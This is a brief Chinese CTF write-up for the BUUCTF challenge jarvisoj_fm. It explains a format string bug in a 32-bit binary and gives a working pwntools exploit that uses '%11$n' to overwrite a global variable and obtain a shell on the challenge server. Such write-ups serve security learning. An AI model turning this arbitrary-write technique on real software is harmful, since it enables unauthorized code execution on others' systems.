BUUCTF—jarvisoj_fm
先看看开了什么保护机制
打开32位ida看看
一个大大的格式化字符漏洞糊脸上,然后看看后面的,就是判断x是不是4,是的话给shell,也就是说我们要格式化字符任意地址写,把x修改成4,因为32位格式化字符泄露偏移有点不一样,是从esp+4开始的,所以算一算偏移,或者去gdb里面一个一个数也是可以的
from pwn import*
p=remote('node4.buuoj.cn',28290)
#p=process('./fm')
#a=input()
x=0x0804a02c
payload=p32(x)+b'%11$n'
p.sendline(payload)
p.interactive()